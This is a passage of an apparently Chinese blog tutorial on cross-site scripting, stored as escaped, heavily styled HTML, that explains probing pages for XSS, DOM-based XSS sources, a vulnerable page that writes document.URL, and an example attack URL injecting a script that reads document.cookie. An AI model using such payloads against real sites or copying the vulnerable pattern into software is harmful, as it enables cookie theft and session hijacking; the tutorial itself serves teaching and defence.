padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: 微软雅黑, verdana, Arial, sans-serif; line-height: 25px; background-color: #ffffff; "&gt;&lt;li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 20px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 20px; list-style-type: none; list-style-position: initial; list-style-image: initial; background-image: url(file:///c:/images/cnblogs_com/coderzh/bug_green.png); background-attachment: scroll; background-origin: initial; background-clip: initial; background-color: transparent; line-height: 28px; background-position: 0px 5px; background-repeat: no-repeat no-repeat; "&gt;搜索引擎&lt;/li&gt;&lt;li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 20px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 20px; list-style-type: none; list-style-position: initial; list-style-image: initial; background-image: url(file:///c:/images/cnblogs_com/coderzh/bug_green.png); background-attachment: scroll; background-origin: initial; background-clip: initial; background-color: transparent; line-height: 28px; background-position: 0px 5px; background-repeat: no-repeat no-repeat; "&gt;留言板&lt;/li&gt;&lt;li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 20px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 20px; list-style-type: none; list-style-position: initial; list-style-image: initial; background-image: url(file:///c:/images/cnblogs_com/coderzh/bug_green.png); background-attachment: scroll; background-origin: initial; background-clip: initial; background-color: transparent; line-height: 28px; background-position: 0px 5px; background-repeat: no-repeat no-repeat; "&gt;错误页面&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;通过在上面那些类型的页面输入一些特殊的字符（包括&amp;lt; &amp;gt; / "），如：&amp;lt;/?jjkk&amp;gt;，然后在结果页中的源码处搜索是否存在原样的：&amp;lt;/?jjkk&amp;gt;，如果存在，恭喜你，发现了一个XSS漏洞。&lt;/p&gt;&lt;p&gt;&lt;strong&gt;分类&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;1. DOM-based cross-site scripting&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;页面本身包含一些DOM对象的操作，如果未对输入的参数进行处理，可能会导致执行恶意脚本。如下面一些DOM操作：&lt;/p&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: 微软雅黑, verdana, Arial, sans-serif; line-height: 25px; background-color: #ffffff; " /&gt;&lt;div style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 4px; padding-right: 5px; padding-bottom: 4px; padding-left: 14px; font-family: 微软雅黑, verdana, Arial, sans-serif; line-height: 25px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: #cccccc; border-right-color: #cccccc; border-bottom-color: #cccccc; border-left-color: #cccccc; border-image: initial; background-color: #333333; color: #ffffff; "&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;document&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;.&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;URL&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;document&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;.&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;URLUnencoded&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;document&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;.&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;location&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;(&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;and&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;many&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;of&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;its&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;properties&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;)&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;document&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;.&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;referrer&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;window&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;.&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;location&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;(&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;and&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;many&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;of&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;its&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;properties&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;)&lt;/span&gt;&lt;/div&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: 微软雅黑, verdana, Arial, sans-serif; line-height: 25px; background-color: #ffffff; " /&gt;&lt;span style="color: #333333; font-family: 微软雅黑, verdana, Arial, sans-serif; line-height: 25px; background-color: #ffffff; "&gt;&amp;nbsp; 举个例子，假如某个脆弱的页面的代码如下：&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: 微软雅黑, verdana, Arial, sans-serif; line-height: 25px; background-color: #ffffff; " /&gt;&lt;div style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 4px; padding-right: 5px; padding-bottom: 4px; padding-left: 14px; font-family: 微软雅黑, verdana, Arial, sans-serif; line-height: 25px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: #cccccc; border-right-color: #cccccc; border-bottom-color: #cccccc; border-left-color: #cccccc; border-image: initial; background-color: #333333; color: #ffffff; "&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #fb660a; font-weight: bold; "&gt;&amp;lt;HTML&amp;gt;&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #fb660a; font-weight: bold; "&gt;&amp;lt;TITLE&amp;gt;&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;Welcome!&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #fb660a; font-weight: bold; "&gt;&amp;lt;/TITLE&amp;gt;&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Hi&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #fb660a; font-weight: bold; "&gt;&amp;lt;SCRIPT&amp;gt;&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #fb660a; font-weight: bold; "&gt;var&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;pos&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;=&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;document&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;.&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;URL&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;.&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;indexOf&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;(&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #0086d2; "&gt;"name="&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;)&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;+&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #0086f7; font-weight: bold; "&gt;5&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;;&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;document&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;.&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;write&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;(&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;document&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;.&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;URL&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;.&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;substring&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;(&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;pos&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;,&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;document&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;.&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;URL&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;.&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;length&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;));&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #fb660a; font-weight: bold; "&gt;&amp;lt;/SCRIPT&amp;gt;&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #fb660a; font-weight: bold; "&gt;&amp;lt;BR&amp;gt;&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Welcome to our system&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;#8230;&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #fb660a; font-weight: bold; "&gt;&amp;lt;/HTML&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: 微软雅黑, verdana, Arial, sans-serif; line-height: 25px; background-color: #ffffff; " /&gt;&lt;span style="color: #333333; font-family: 微软雅黑, verdana, Arial, sans-serif; line-height: 25px; background-color: #ffffff; "&gt;&amp;nbsp; 攻击者使用如下的URL访问时，则非常危险：&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: 微软雅黑, verdana, Arial, sans-serif; line-height: 25px; background-color: #ffffff; " /&gt;&lt;div style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 4px; padding-right: 5px; padding-bottom: 4px; padding-left: 14px; font-family: 微软雅黑, verdana, Arial, sans-serif; line-height: 25px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: #cccccc; border-right-color: #cccccc; border-bottom-color: #cccccc; border-left-color: #cccccc; border-image: initial; background-color: #333333; color: #ffffff; "&gt;http://www.vulnerable.site/welcome.html?name=&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;&lt;/div&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: 微软雅黑, verdana, Arial, sans-serif; line-height: 25px; background-color: #ffffff; " /&gt;&lt;span style="color: #333333; font-family: 微软雅黑, verdana, Arial, sans-serif; line-height: 25px; background-color: #ffffff; "&gt;&amp;nbsp; 试了一下，貌似IE、FireFox等浏览器默认对&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;进行了编码，阻止了脚本的执行。但是对于DOM操作还是要更加谨慎啊，比如把上面的页面修改一下，安全性就增强了不少：&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: 微软雅黑, verdana, Arial, sans-serif; line-height: 25px; background-color: #ffffff; " /&gt;&lt;div style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 4px; padding-right: 5px; padding-bottom: 4px; padding-left: 14px; font-family: 微软雅黑, verdana, Arial, sans-serif; line-height: 25px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: #cccccc; border-right-color: #cccccc; border-bottom-color: #cccccc; border-left-color: #cccccc; border-image: initial; background-color: #333333; color: #ffffff; "&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #fb660a; font-weight: bold; "&gt;&amp;lt;SCRIPT&amp;gt;&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #fb660a; font-weight: bold; "&gt;var&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;pos&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;=&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;document&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;.&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;URL&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;.&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;indexOf&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;(&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #0086d2; "&gt;"name="&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;)&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;+&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #0086f7; font-weight: bold; 